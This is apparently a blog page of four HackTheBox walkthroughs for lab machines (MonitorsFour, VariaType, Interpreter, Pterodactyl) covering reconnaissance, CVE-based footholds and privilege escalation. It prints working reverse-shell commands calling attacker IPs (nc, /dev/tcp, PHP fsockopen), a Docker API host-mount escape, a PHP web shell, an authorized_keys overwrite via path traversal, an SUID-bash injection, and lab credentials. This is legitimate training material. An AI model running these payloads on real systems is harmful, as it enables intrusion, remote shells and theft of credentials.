Writeup on Michael Dunn

HackTheBox Writeup - "MonitorsFour"

Mon, 04 May 2026 00:00:00 +0000

This assessment followed a black-box approach, beginning with active reconaissance, progressing through enumeration, initial unprivileged foothold into the authorized target, and finally privilege escalation. MonitorsFour is a HackTheBox “easy Windows” challenge.

Reconnaissance

Port and service scanning was performed on the target using nmap. It revealed an HTTP (insecure) webserver and a Microsoft HTTPAPI server, confirming the fact that this IP is associated with a Microsoft machine.

80/tcp open http nginx
|_http-title: Did not follow redirect to http://monitorsfour.htb/
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Enumeration on files and pages from the root directory of the resolved domain name (monitorsfour.htb) revealed information like a login and user path:

contact [Status: 200, Size: 367, Words: 34, Lines: 5, Duration: 74ms]
user [Status: 200, Size: 35, Words: 3, Lines: 1, Duration: 199ms]
login [Status: 200, Size: 4340, Words: 1342, Lines: 96, Duration: 199ms]
static [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 53ms]
views [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 181ms]
controllers [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 159ms]
forgot-password [Status: 200, Size: 3099, Words: 164, Lines: 84, Duration: 206ms]

monitorsfour.htb/login

Seeing as the login page was using a basic login form handled through a single POST request (/forgot-password), SQL injection (SQLi) opportunities were tested for using the tool sqlmap. No immediate SQLi vulnerabilities were made available through this process.

One of the discovered webpages: /user, contained query parameters in its URL which is problematic because it allows for easy fuzzing for valid queries and their values.

monitorsfour.htb/user

Using the enumeration tool ffuf, a list of potential parameter names was tested against the hidden webpage, revealing the token parameter.

└─$ ffuf -u http://monitorsfour.htb/api/v1/user?FUZZ=test -w burp-parameter-names.txt -c -fs 35

 /'___\ /'___\  /'___\
 /\ \__/ /\ \__/ __ __ /\ \__/
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
 \ \_\  \ \_\  \ \____/ \ \_\
 \/_/ \/_/ \/___/ \/_/

 v2.1.0-dev
________________________________________________

 :: Method : GET
 :: URL : http://monitorsfour.htb/api/v1/user?FUZZ=test
 :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Follow redirects : false
 :: Calibration : false
 :: Timeout : 10
 :: Threads : 40
 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter : Response size: 35
________________________________________________

token [Status: 200, Size: 32, Words: 3, Lines: 1, Duration: 356ms]
:: Progress: [6453/6453] :: Job [1/1] :: 61 req/sec :: Duration: [0:01:28] :: Errors: 0 ::

Manual enumeration in the value field of the URL with the found parameter (monitorsfour.htb/user?token=<int>) revealed potentially sensitive information about users on the /login portal, including insecure MD5 hashes (a computationally inexpensive-to-crack cryptographic algorithm). The hashes also don’t appear to use any form of salting.

[{"id":2,"username":"admin","email":"admin@monitorsfour.htb","password":"56b32eb43e6f15395f6c46c1c9e1cd36","role":"super user","token":"8024b78f83f102da4f","name":"Marcus Higgins","position":"System Administrator","dob":"1978-04-26","start_date":"2021-01-12","salary":"320800.00"},{"id":5,"username":"mwatson","email":"mwatson@monitorsfour.htb","password":"69196959c16b26ef00b77d82cf6eb169","role":"user","token":"0e543210987654321","name":"Michael Watson","position":"Website Administrator","dob":"1985-02-15","start_date":"2021-05-11","salary":"75000.00"},{"id":6,"username":"janderson","email":"janderson@monitorsfour.htb","password":"2a22dcf99190c322d974c8df5ba3256b","role":"user","token":"0e999999999999999","name":"Jennifer Anderson","position":"Network Engineer","dob":"1990-07-16","start_date":"2021-06-20","salary":"68000.00"},{"id":7,"username":"dthompson","email":"dthompson@monitorsfour.htb","password":"8d4a7e7fd08555133e056d9aacb1e519","role":"user","token":"0e111111111111111","name":"David Thompson","position":"Database Manager","dob":"1982-11-23","start_date":"2022-09-15","salary":"83000.00"}]

Confirming the use of MD5

One of the users’ hashes, admin, contained a weak password which is also documented in a well-known database of leaked passwords known as “rockyou”.

hashcat -m 0 ~/Documents/htb/monitorsfour/admin_hash rockyou.txt
...
56b32eb43e6f15395f6c46c1c9e1cd36:wonderful1

These credentials were tested to gain access to the MonitorsFour dashboard through the /login portal which, in conjunction with the users shown in the second image below, confirm that the credentials found earlier are representative of the MonitorsFour dashboard users. monitorsfour.htb/dashboard

Above, user admin’s first name, Marcus, is highlighted as it was useful for later credentials testing.

Enumeration on subdomains was performed on monitorsfour.htb using ffuf revealing cacti.monitorsfour.htb.

└─$ ffuf -u http://monitorsfour.htb -H "Host: FUZZ.monitorsfour.htb" -w subdomains-top1million-20000.txt -c -fs 138

 /'___\ /'___\  /'___\
 /\ \__/ /\ \__/ __ __ /\ \__/
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
 \ \_\  \ \_\  \ \____/ \ \_\
 \/_/ \/_/ \/___/ \/_/

 v2.1.0-dev
________________________________________________

 :: Method : GET
 :: URL : http://monitorsfour.htb
 :: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header : Host: FUZZ.monitorsfour.htb
 :: Follow redirects : false
 :: Calibration : false
 :: Timeout : 10
 :: Threads : 40
 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter : Response size: 138
________________________________________________

cacti [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 55ms]
:: Progress: [19966/19966] :: Job [1/1] :: 716 req/sec :: Duration: [0:00:28] :: Errors: 0 ::

cacti.monitorsfour.htb/cacti

Foothold

Basic searches on the version of the Cacti framework listed near the footer of the login page (as seen above) made available a CVSS 8.8 rated vulnerability (CVE-2025-24367) which allows authenticated users to take advantage of improper sanitization in the graph creation mechanism to execute code remotely (netniV). Other methods involving unauthenticated exploits with this server were explored, but through more rigorous credential guessing, the previously found user, admin, had reused their password to authenticate with username “marcus” in the Cacti dashboard.

CVE-2025-24367 is available for simple exploitation using the Metasploit framework tool msfconsole, using the module titled: multi/http/cacti_graph_template_rce It’s trivial to achieve a remote reverse shell using this module.

Note

When the reverse shell was established, it’s notable to applaud the safeguards of the deployers of this application for running the cacti framework as an unprivileged, dedicated user wwwdata.

Mitigation

Update Cacti to >v1.2.28 to prevent users from escaping rrdtool using newline characters. Source

Privilege Escalation

The container that Cacti sits in appeared to be of the WSL type. The following is the output of uname -a.

Linux version 6.6.87.2-microsoft-standard-WSL2 (root@439a258ad544) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP PREEMPT_DYNAMIC Thu Jun 5 18:30:46 UTC 2025

wwwdata had access to a number of sensitive documents such as an environment variable and cacti’s config.php, each containing sensitive credentials related to the databases of both the Cacti and MonitorsFour websites. The following few blocks of bash are excerpts from the Linux enumeration tool linpeas.sh.

╔══════════╣ Analyzing Env Files (limit 70)
-rwxr-xr-x 1 www-data www-data 97 Sep 13 2025 /var/www/app/.env
DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r
...
╔══════════╣ Analyzing Cacti Files (limit 70)
drwxr-xr-x 1 www-data www-data 4096 Apr 30 03:36 /var/www/html/cacti
-rwxr-xr-x 1 www-data www-data 7159 Sep 13 2025 /var/www/html/cacti/include/config.php
$database_type = 'mysql';
$database_default = 'cacti';
$database_username = 'cactidbuser';
$database_password = '7pyrf6ly8qx4';
$database_port = '3306';
$database_ssl = false;
$database_ssl_key = '';
$database_ssl_cert = '';
$database_ssl_ca = '';
#$rdatabase_type = 'mysql';
#$rdatabase_default = 'cacti';
#$rdatabase_username = 'cactiuser';
#$rdatabase_password = 'cactiuser';
#$rdatabase_port = '3306';
#$rdatabase_ssl = false;
#$rdatabase_ssl_key = '';
#$rdatabase_ssl_cert = '';
#$rdatabase_ssl_ca = '';

wwwdata also had write privileges on each of these databases. This was demonstrated by overwriting the bcrypt and MD5 password hashes located in the Cacti and MonitorsFour databases, respectively. These changes to the hash were immediately reflected in the web applications as well.

linpeas.sh also identified mounted files to the Cacti container from it’s host including files /etc/resolv.conf, /etc/hostname and /etc/hosts. mounted files

/etc/resolv.conf, a DNS resolving config file, exposed more information about the environment to a potential attacker, confirming a previous finding in the MonitorsFour dashboard that exposes the version number of the Docker Engine version that’s hosting the Cacti and MonitorsFour dashboards.

Recalling from monitorsfour.htb:

A known proof of concept exists for the vulnerability CVE-2025-9074, which “allows local running Linux containers to access the Docker Enginer API.” (SentinalOne) Additionally: “On Docker Desktop for Windows with the WSL backend, the vulnerability additionally allows mounting the host drive with the same privileges as the user running Docker Desktop, potentially leading to complete host compromise.”

However, this script was not helpful in demonstrating a successful exploitation of this vulnerability, as the container doesn’t have Python installed. However, it did have access to web tools like curl, which can also be used to interact with the API of the default IP address (192.168.65.7). The steps to reproducing the exploit through the use of individual API calls are as follows.

Steps for Recreation: CVE-2025-9074

Check available images: curl http://192.168.65.7:2375/images/json 2>/dev/null | grep -o '"RepoTags":\["[^"]*"'
Create a container with the Windows C:\ drive (default letter) mounted:

curl -s -X POST http://192.168.65.7:2375/containers/create \
 -H "Content-Type: application/json" \
 -d '{
 "Image": "alpine",
 "Cmd": ["sh", "-c", "sleep 3600"],
 "HostConfig": {
 "Binds": ["/mnt/host/c:/host_root"]
 }
 }'

<ID_RETURNED_HERE>

Using the returned container ID, start it: curl -s -X POST http://192.168.65.7:2375/containers/<ID>/start
Create an exec instance of a given command (returning a new ID):

curl -s -X POST http://192.168.65.7:2375/containers/<CONTAINER_ID>/exec \
 -H "Content-Type: application/json" \
 -d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Tty":true,"Cmd":["sh","-c","rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.205 4444 >/tmp/f"]}'

<ID_RETURNED_HERE>

Trigger the command exec handle by sending a POST request to /start:

curl -s -X POST http://192.168.65.7:2375/exec/<EXEC_ID>/start -H "Content-Type: application/json" -d '{"Detach":false,"Tty":false}'

HackTheBox Writeup - "VariaType"

Wed, 15 Apr 2026 00:00:00 +0000

“VariaType” is a medium-rated Linux box on HackTheBox: https://app.hackthebox.com/machines/VariaType?sort_by=created_at&sort_type=desc

Recon

The first thing I did was ran a standard nmap version scan on the IP address (targeting the most popular 1000 ports): nmap -sV 10.129.23.65. This returned an apparent web server and open SSH port:

Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-01 11:47 EDT
Nmap scan report for 10.129.23.65
Host is up (0.050s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp open http nginx 1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.80 seconds

I navigated to the IP address in my browser to find that it was an unresolved domain, variatype.htb. So, I had to manually add this IP and it’s associated domain name to my local hosts file:

10.129.23.65 variatype.htb

This is the website I was met with:

The first thing I naturally did was click “Generate your Variable Font,” which brought me to an upload site at /tools/variatype-font-generator:

My first thought was to try to upload some sort of php reverse shell by simply appending the required .designspace and .ttf extension names to a shell file like <?php system($_REQUEST["cmd"]); ?>. I unfortunately was met with “Font generation failed during processing,” which I didn’t care too much for since the file still could’ve been uploaded, I just would’ve needed to find where it was uploaded and have the server execute the payload. Naturally, my next step was to try to find where files were being stored on this server so that, if I could successfully upload a payload, I could find a way to execute it.

I used ffuf and SecLists wordlists for this task and simply enumerated directories and files. I enumerated the root website directory, /services, /tools, and nothing really turned up. I figured I’d pivot and look for subdomains: ffuf -u http://variatype.htb -H "Host: FUZZ.variatype.htb" -w subdomains.txt. I found portal.variatype.htb:

I enumerated through the root directory of this site:

index.php [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 52ms]
download.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 53ms]
auth.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 50ms]
view.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 52ms]
. [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 52ms]
styles.css [Status: 200, Size: 8789, Words: 1020, Lines: 370, Duration: 51ms]
dashboard.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 53ms]
.git [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 49ms]

We may be able to use these files for later. However, I’m more interested in the .git.

I’ll go ahead and pull the contents of the git repo using a tool called git-dumper. I need to use git-dumper because git itself relies on the git protocol, of which a repo stored as just a folder on a web server is not. I’ll add this pulled .git to my VariaType working directory, and inspect the repo by running git log:

commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <dev@variatype.htb>
Date: Fri Dec 5 15:59:33 2025 -0500

 fix: add gitbot user for automated validation pipeline

commit 5030e791b764cb2a50fcb3e2279fea9737444870
Author: Dev Team <dev@variatype.htb>
Date: Fri Dec 5 15:57:57 2025 -0500

 feat: initial portal implementation

I can see a master list of diffs by running git log -p:

commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <dev@variatype.htb>
Date: Fri Dec 5 15:59:33 2025 -0500

 fix: add gitbot user for automated validation pipeline

diff --git a/auth.php b/auth.php
index 615e621..b328305 100644
--- a/auth.php
+++ b/auth.php
@@ -1,3 +1,5 @@
 <?php
 session_start();
-$USERS = [];
+$USERS = [
+ 'gitbot' => 'G1tB0t_Acc3ss_2025!'
+];

commit 5030e791b764cb2a50fcb3e2279fea9737444870
Author: Dev Team <dev@variatype.htb>
Date: Fri Dec 5 15:57:57 2025 -0500

 feat: initial portal implementation

diff --git a/auth.php b/auth.php
new file mode 100644
index 0000000..615e621

Immediately, a user credential stands out. I’ll try this on the recently discovered portal.variatype.htb. I’m met with the dashboard:

Great, it looks like I can see where files are uploaded! I’ll fuzz portal.variatype.htb with the new session cookie to see if I can find anything new, or just to be able to browse the files I fuzzed earlier, like /view.php:

Once I find a way to upload a file, I’ll see how I can pass in a file as an argument to view.php. The main website mentions: “We use the same fonttools engine used by Google Fonts and major foundries.” I’m going to just search for vulnerabilities on the internet related to fontTools engine. CVE-2025-66034 is most of the results I get. Specifically, a malicious .designspace file can lead to an arbitrary file write that results in RCE: “The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main()” (NIST). I’ll use this GitHub PoC written by v3cn4x00 to complete the exploit.

Foothold

This exploit requires a few non-trivial things. First, we need a “WEBROOT,” the filesystem path where output files are written, which the PoC refers to as WEBROOT. Perhaps the comment we found earlier in styles.css can give us a clue, so initially I selected /var/www/dev.variatype.htb/ as the world-writeable path (where our malicious .php will be stored). Inspecting an exposed dashboard.php revealed a different path, though.

Specifying a Web Path

Our found file, ‘dashboard.php’ can be downloaded using the f= parameter to see the internal PHP. This reveals where our malicious payload can be stored so that it can be executed from the dashboard (what the PoC automates): /var/www/portal.variatype.htb/public

The Proof of Concept will inject an XML payload into the .designspace file via a “CDATA split”:

<labelname xml:lang="en"><![CDATA[{php_payload}]]]]><![CDATA[>]]></labelname>

…

 php_payload =
 f'<?php '
 f'$s=fsockopen("{ip}",{port});'
 f'$d=array(0=>$s,1=>$s,2=>$s);'
 f'proc_open("/bin/bash -i",$d,$p);'
 f'?>'

and upload it to our set parameter of the upload path tools/variable-font-generator/process. Then, it’ll execute the uploaded payload by navigating to the web path of the portal via the LFI vulnerability, simultaneously opening a listener on a specified port. I then had a primitive shell on the target machine.

User Privilege Escalation

Reading /etc/passwd gave us a list of system users including users that one can actually login with. steve stands out.

I didn’t find anything related to steve through linpeas enumeration except for a backup file owned by the user which, judging by its header, is our smoking gun for this privesc:

#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#

It mentions a couple of important things like the extensions that it accepts:

EXTENSIONS=(
 "*.ttf" "*.otf" "*.woff" "*.woff2"
 "*.zip" "*.tar" "*.tar.gz"
 "*.sfd"
)

It also tells us the location of the local FontForge binary:

 if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "

which when ran exposes its version number: Version: 20230101

A Google search for “fontforge 20230101 cve zip” turns up CVE-2024-25081 ,which allows command injection via crafted filenames. It also has a companion CVE-2024-25082. Source

Two Bugs, Two Different Contexts!

While both taking advantage of FontForge’s lack of proper filename sanitization, it’s CVE-2024-25082 that leverages steve’s process_client_submissions.bak’s explicit check for archival types, where it references a vulnerability where filenames inside an archive are read, rather than 25081’s direct filename. Further, it’s the regex check in this backup file that prevents CVE-2024-25081 from working, where 25082 allows for easy sidestepping of steve’s manual sanitization.

Claude Sonnet 4.6 wrote an excellent proof of concept exploit inspired by this PoC by Sploitus, opting instead for a more direct reverse shell call but passed through base64, unpacked and executed upon its zip extraction. You can view the proof of concept script here: https://gist.github.com/mdunn99/bc6a26775aedb65eb11102adedf87178.

The payload archive generated from this script will be put in UPLOAD_DIR (/var/www/portal.variatype.htb/public/files).

Assuming that there’s a script that acts like process_client_submissions.bak, FontForge reads the entry names from archives in UPLOAD_DIR, and from their internal metadata constructs a shell command using the contents’ filenames without sanitization. “Because $file is interpolated directly into a bash double-quoted string, the shell evaluates the $(…) subshell construct in our malicious entry name before FontForge ever attempts to open anything — executing our decoded reverse shell payload.” (Claude Sonnet 4.6)

 log "Processing submission: $file"

 if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "

After about a minute, we catch a reverse shell for steve and obtain the flag.

Root Privilege Escalation

Steve’s crontab confirms that his private copy of the backup file, process_client_submissions.sh is run every two minutes:

*/2 * * * * /home/steve/bin/process_client_submissions.sh >/dev/null 2>&1

Also, running diff on the backup and Steve’s bin script show that the exposed backup file is the exact same as the live binary.

sudo -l ran as steve shows that this user can run /opt/font-tools/install_validator.py with no password needed. This script explains itself as a way to grab a Python file (with certain requirements) from a URL and put it in validators.

User steve may run the following commands on variatype:
 (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

This script is a “Font Validator Plugin Installer”, where plugins at a specified URL are added (with root privileges) to /opt/font-tools/validators. I decided to check out the import headers of the install_validator.py and their versions using pip list to see if there were any easy exploits:

from setuptools.package_index import PackageIndex
...
setuptools 78.1.0

Searching for exploits related to PackageIndex in setuptools version 78.1.0 presented an arbitrary file write vulnerability using path traversal: CVE-2025-47273.

This PoC written by AliElKhatteb will take a public key (which can be generated with ssh-keygen) renamed as authorized_keysand leverage the script’s ability to pull from any file server and place it in root’s .ssh directory so that root ssh can be authenticated with the private key generated on the target machine:

sudo python3 /path/to/vulnerable_script.py \
 "http://${ATTACKER_IP}/%2f${TARGET_USER}%2f.ssh%2fauthorized_keys#egg=evil-1.0"

root UID was then established on the target machine and the flag was obtained.

HackTheBox Writeup - "Interpreter"

Mon, 06 Apr 2026 00:00:00 +0000

This assessment followed a black-box approach. Interpreter is a medium HTB machine running a vulnerable version of Mirth Connect, an open-source healthcare integration engine. This post covers CVE exploitation for initial foothold, hash analysis and cracking for lateral movement, and Python f-string injection via a locally hosted API server for root privilege escalation.

Reconnaissance

┌──(mike㉿thinkpad)-[~]
└─$ nmap -sC -sV 10.129.25.113
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-03 16:49 EDT
Nmap scan report for 10.129.25.113
Host is up (0.071s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_ 256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp open http Jetty
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
443/tcp open ssl/http Jetty
| http-methods:
|_ Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after: 2075-09-19T12:50:05
|_http-title: Mirth Connect Administrator
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.51 seconds

The web page:

I’ll download the launcher/installer using curl, and identify the version number (4.4.0):

<jnlp codebase="http://10.129.25.113:80" version="4.4.0">
 <information>
 <title>Mirth Connect Administrator 4.4.0</title>
 <vendor>NextGen Healthcare</vendor>
 <homepage href="http://www.nextgen.com"/>
 <description>Open Source Healthcare Integration Engine</description>
 <icon href="images/NG_MC_Icon_128x128.png"/>
 <icon href="images/MirthConnect_Logo_WordMark_Big.png" kind="splash"/>

Foothold

Mirth Connect version 4.4.0 corresponds to a well-known CVE-2023-43208 which can be exploited using jakabakos’ PoC. We can pass a command here which I’ll assume can be a standard reverse shell: bash -c 'bash -i >& /dev/tcp/10.10.14.84/4444 0>&1' where we set up a netcat listener on 4444: nc -lvnp 4444. Unfortunately, this wasn’t successful. I decided to pass a no-space base64 encoded string into the PoC by first encoding the shell:

echo -n 'bash -i >& /dev/tcp/10.10.14.84/4444 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44NC80NDQ0IDA+JjE=

Then it’s as simple as:

python3 CVE-2023-43208.py -u https://10.129.25.113/ -c "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44NC80NDQ0IDA+JjE=}|{base64,-d}|bash"

User Privilege Escalation

Peering around in our files we see conf/mirth.properties which reveals a mariadb username and password, which is running on our box (denoted by port 3306):

mirth@interpreter:/usr/local/mirthconnect$ ss -tlnp
State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 50 0.0.0.0:80 0.0.0.0:* users:(("java",pid=3513,fd=327))
LISTEN 0 128 127.0.0.1:54321 0.0.0.0:*
LISTEN 0 50 0.0.0.0:443 0.0.0.0:* users:(("java",pid=3513,fd=331))
LISTEN 0 256 0.0.0.0:6661 0.0.0.0:* users:(("java",pid=3513,fd=335))
LISTEN 0 128 [::]:22 [::]:*

Database mc_bdd_prod contains tables PERSON and PERSON_PASSWORD, where PERSON_PASSWORD contains a hash (denoted by the column “PASSWORD”) in some format. The PERSON_ID column that matches with the only hash in the table is 2, which aligns with username sedric listed in table PERSON. Our next step is figuring out what kind of hash this is: sedric hash: u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==

A quick Google search for “mirth connect hash format” reveals that Mirth Connect versions >=4.4.0 uses a “PBKDF2WithHmacSHA256” hash type with a default iteration count of 600000. Our hash is 40 bytes:

echo "u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==" | base64 -d | wc -c
40

It’s likely that our 8 extra bytes (considering that SHA256 is 32 bytes, 256 bits = 32 bytes) is our salt. To extract our hash, we:

Decode our base64-encoded hash: | base64 -d
Grab the first 8 bytes: | head -c 8
Re-encode our extracted 8 bytes into base64: | base64

In full: echo "u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==" | base64 -d | head -c 8 | base64 (for the first 8 bytes) Using tail -c 32 to grab the last 32 bytes will likely be our unsalted hash. Combining our results in the format of salt:hash, and prepending the necessary specs (SHA-256 and iteration count), we get the following base64-encoded string (with colons separating the salt from the hash):

sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=

After using hashcat to crack our password, we can ssh into the machine using our credentials for the user sedric.

Root Privilege Escalation

I decided to run the enumeration tool linpeas.sh once again to see if any certain files or privileges were made available exclusively to the user sedric. I went down a few rabbit holes before I fully checked out the API server being hosted on localhost port 54321 with the code available to read at /usr/local/bin/notif.py.

#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os
...
@app.route("/addPatient", methods=["POST"])
def receive():
 if request.remote_addr != "127.0.0.1":
 abort(403)

From the snippet above, we can infer that making POST requests to the endpoint /addPatient must be done through localhost (which isn’t a problem with a shell on user sedric). Importantly, we can see that anything executed by this API server is executed by user root:

sedric@interpreter:~$ ls -l /usr/local/bin/notif.py
-rwxr----- 1 root sedric 2332 Sep 19 2025 /usr/local/bin/notif.py

Just to confirm that we can make XML requests to this endpoint, we’ll craft a standard dummy request (using wget because curl is not available on this box):

wget -q -O - --post-data='<patient><firstname>John</firstname><lastname>Smith</lastname><sender_app>app</sender_app><timestamp>12/12/2024</timestamp><birth_date>01/01/1990</birth_date><gender>M</gender></patient>' --header='Content-Type: application/xml' http://127.0.0.1:54321/addPatient
Patient John Smith (M), 36 years old, received from app at 12/12/2024

Taking a closer look at notif.py reveals an interesting fact, that the accepted regex pattern that our POST requests are passed through includes strange characters ({}, (), _, etc.) that we can use to pass in arbitrary Python code:

def template(first, last, sender, ts, dob, gender):
 pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
 if not pattern.fullmatch(s):
 return "[INVALID_INPUT]"

More information about Python code injection can be found here and here.

So, we can craft a payload that executes arbitrary Python code as root by passing a POST request from any user on localhost. I guess it’s suitable to create an SUID binary. To make our payload easier to read, we’ll put the bulk of what we want root to execute in a world-readable file in /tmp/pwn.sh:

echo "cp /bin/bash /tmp/bash && chmod +s /tmp/bash" > /tmp/pwn.sh

Where we put a copy of a bash binary in a directory that sedric has full permissions of (like /tmp) and give it improper SUID permissions (chmod +s).

We’ll craft our XML request to inject a Python expression into the firstname field. Since the server passes this field directly into an eval()’d f-string, wrapping our payload in {} causes it to be executed as Python code by the root-owned process:

wget -q -O - --post-data='<patient><firstname>{__import__("os").popen("/tmp/pwn.sh").read()}</firstname><lastname>Smith</lastname><sender_app>app</sender_app><timestamp>12/12/2024</timestamp><birth_date>01/01/1990</birth_date><gender>M</gender></patient>' --header='Content-Type: application/xml' http://127.0.0.1:54321/addPatient
Patient Smith (M), 36 years old, received from app at 12/12/2024

Using flag -p to call /tmp/bash, we specify that we want to run with the effective UID of root: sedric@interpreter:~$ /tmp/bash -p

Reflection

I learned some really cool things during this engagement. The first thing I learned about was that some boxes are privy to weird characters, notably the ones found in reverse shells. A straightforward way to get around this is to base64 encode the payload with the many shell-escaping characters it may include.

I also learned a bit about hashes. SHA256, as its name implies, is 256 bits = 32bytes, and we could potentially identify an embedded salt in a hash if we find that its byte count exceeds the expected value. Extracting the individual salt and password bytes and concatenating them into a single base64 string (with a delineator of some kind) was what led to a successful crack.

I got to learn about XML Python injection as well as be reminded of SUID manipulation for privilege escalation.

HackTheBox Writeup - "Pterodactyl"

Fri, 03 Apr 2026 00:00:00 +0000

Pterodactyl is a medium difficulty Linux HackTheBox machine: https://app.hackthebox.com/machines/Pterodactyl?sort_by=created_at&sort_type=desc

Reconnaissance

I ran a standard nmap service scan:

Not shown: 986 filtered tcp ports (no-response), 10 filtered tcp ports (admin-prohibited)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6 (protocol 2.0)
80/tcp open http nginx 1.21.5
443/tcp closed https
8080/tcp closed http-proxy

I navigated to the web server, which had an unresolvable domain name: pterodactyl.htb. I added the IP to my hosts to resolve it in my browser:

I did a fuzz using SecList’s raft-medium-files on the root directory, adding php and txt extensions just as a standard practice: ffuf -u http://pterodactyl.htb/FUZZ -w raft-medium-files.txt -e .php,.txt -c

The fuzz returned files such as index.php, phpinfo.php, global.css, and changelog.txt. Some things in changelog included useful version information about the server like: “[Installed] Pterodactyl Panel v1.11.10”, “MariaDB 11.8.3 backend.” We’ll also collect information in phpinfo.php which is a valuable trove of config information related to the PHP server.

I also make it a habit to enumerate through subdomains, which returned a panel.pterodactyl.htb:

After iterating for a while through various version numbers found in phpinfo.php for vulnerabilities, I found a critical severity exploit titled CVE-2025-49132 with arbitrary write privileges consistent with changelog.txt’s claim of the server’s Minecraft Pterodactyl Panel <v1.11.9. A PoC published by YoyoChaud)allowed for easy testing.

Upgrading TTY without Python

I’m used to getting a clearer shell by using Python, but that’s not installed n this box. We can also use the script command to effectively do the same thing:
script /dev/null -c bash
And then proceed with the standard backgrounding: Ctrl+Z, echoing the terminal and bringing the background process to the foreground: stty raw -echo; fg, using reset and export TERM=xterm.

User Privilege Escalation

Earlier, in php.info, we discovered that a mysqli server also runs on the server on it’s default port, 3306. This is confirmed when we run env to output environment variables to our terminal (truncated):

DB_PORT=3306
DB_HOST=127.0.0.1
HASHIDS_SALT=pKkOnx0IzJvaUXKWt2PK
PWD=/var/www/pterodactyl/public
APP_KEY=base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
DB_PASSWORD=PteraPanel
APP_URL=http://panel.pterodactyl.htb
DB_USERNAME=pterodactyl
APP_SERVICE_AUTHOR=pterodactyl@pterodactyl.htb
SESSION_DRIVER=redis
DB_CONNECTION=mysql
DB_DATABASE=panel
_=/usr/bin/env

